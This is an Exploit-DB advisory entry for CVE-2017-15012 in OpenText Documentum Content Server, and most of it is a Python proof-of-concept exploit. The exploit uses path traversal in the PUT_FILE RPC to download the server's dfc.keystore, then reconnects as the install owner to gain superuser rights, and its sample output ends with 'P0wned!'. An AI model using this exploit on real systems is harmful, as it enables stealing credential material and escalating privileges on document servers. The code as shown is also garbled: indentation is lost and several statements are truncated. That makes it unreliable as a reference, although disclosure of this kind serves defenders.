OpenText Documentum Content Server - Arbitrary File Download Privilege Escalation

EDB-ID: 43003
Author: Andrey B. Panfilov
Published: 2017-10-17
CVE: CVE-2017-15012
Type: Webapps
Platform: Multiple
Vulnerable App: N/A

# Opentext Documentum Content Server (formerly known as EMC Documentum Content Server)
# does not properly validate input of PUT_FILE RPC-command which allows any
# authenticated user to hijack arbitrary file from Content Server filesystem,
# because some files on Content Server filesystem are security-sensitive
# the security flaw described above leads to privilege escalation
# The PoC below demonstrates this vulnerability:
# MacBook-Pro:~ $ python
# usage:
# host port user password
# MacBook-Pro:~ $ python docu72dev01 10001 dm_bof_registry dm_bof_registry
# Trying to connect to docu72dev01:10001 as dm_bof_registry ...
# Connected to docu72dev01:10001, docbase: DCTM_DEV, version: 7.2.0270.0377 Linux64.Oracle
# Downloading /u01/documentum/cs/product/7.2/bin/
# Trying to find any object with content...
# Downloading /u01/documentum/cs/shared/config/dfc.keystore
# Trying to find any object with content...
# Trying to connect to docu72dev01:10001 as dmadmin ...
# Connected to docu72dev01:10001, docbase: DCTM_DEV, version: 7.2.0270.0377 Linux64.Oracle
# P0wned!

import socket
import sys
from os.path import basename

from dctmpy.docbaseclient import DocbaseClient, NULL_ID
from dctmpy.identity import Identity
from dctmpy.obj.typedobject import TypedObject


def usage():
print "usage:\n\t%s host port user password" % basename(sys.argv[0])

def main():
if len(sys.argv) != 5:

(session, docbase) = create_session(*sys.argv[1:5])

if is_super_user(session):
print "Current user is a superuser, nothing to do"

admin_console = session.get_by_qualification(
"dm_method where object_name='dm_JMSAdminConsole'")
env_script = admin_console['method_verb']
env_script = env_script.replace('', '')

keystore_path = None
script = str(download(session, env_script, bytearray()))
if not script:
print "Unable to download"

for l in script.splitlines():
if not l.startswith("DOCUMENTUM_SHARED"):
keystore_path = l.split('=')[1]

if not keystore_path:
print "Unable to determine DOCUMENTUM_SHARED"

keystore_path += "/config/dfc.keystore"
keystore = str(download(session, keystore_path, bytearray()))

if not keystore:
print "Unable to download dfc.keystore"

(session, docbase) = create_session(
sys.argv[1], sys.argv[2],
session.serverconfig['r_install_owner'], "",
identity=Identity(trusted=True, keystore=keystore))
if is_super_user(session):
print "P0wned!"

def download(session, path, buf):
print "Downloading %s" % path
print "Trying to find any object with content..."
object_id = session.query(
"SELECT FOR READ r_object_id "
"FROM dm_sysobject WHERE r_content_size>0") \

session.apply(None, NULL_ID, "BEGIN_TRANS")
store = session.get_by_qualification("dm_filestore")
format = session.get_by_qualification("dm_format")
remote_path = "common=/../../../../../../../../../..%s=Directory" % path
result = session.put_file(store.object_id(), remote_path, format.object_id())
full_size = result['FULL_CONTENT_SIZE']
ticket = result['D_TICKET']

content_id = session.next_id(0x06)
obj = TypedObject(session=session)
obj.set_string("OBJECT_TYPE", "dmr_content")
obj.set_bool("IS_NEW_OBJECT", True)
obj.set_int("i_vstamp", 0)
obj.set_id("storage_id", store.object_id())
obj.set_id("format", format.object_id())
obj.set_int("data_ticket", ticket)
obj.set_id("parent_id", object_id)
if not session.save_cont_attrs(content_id, obj):
raise RuntimeError("Unable to save content object")

handle = session.make_puller(
NULL_ID, store.object_id(), content_id,
format.object_id(), ticket

if handle == 0:
raise RuntimeError("Unable make puller")

for chunk in

return buf

def create_session(host, port, user, pwd, identity=None):
print "Trying to connect to %s:%s as %s ..." % \
(host, port, user)
session = None
session = DocbaseClient(
host=host, port=int(port),
username=user, password=pwd,
except socket.error, e:
if e.errno == 54:
session = DocbaseClient(
host=host, port=int(port),
username=user, password=pwd,
secure=True, ciphers=CIPHERS)
raise e
docbase = session.docbaseconfig['object_name']
version = session.serverconfig['r_server_version']
print "Connected to %s:%s, docbase: %s, version: %s" % \
(host, port, docbase, version)
return (session, docbase)

def is_super_user(session):
user = session.get_by_qualification(
"dm_user WHERE user_name=USER")
if user['user_privileges'] == 16:
return True
group = session.get_by_qualification(
"dm_group where group_name='dm_superusers' "
"AND any i_all_users_names=USER")
if group is not None:
return True

return False

if __name__ == '__main__':

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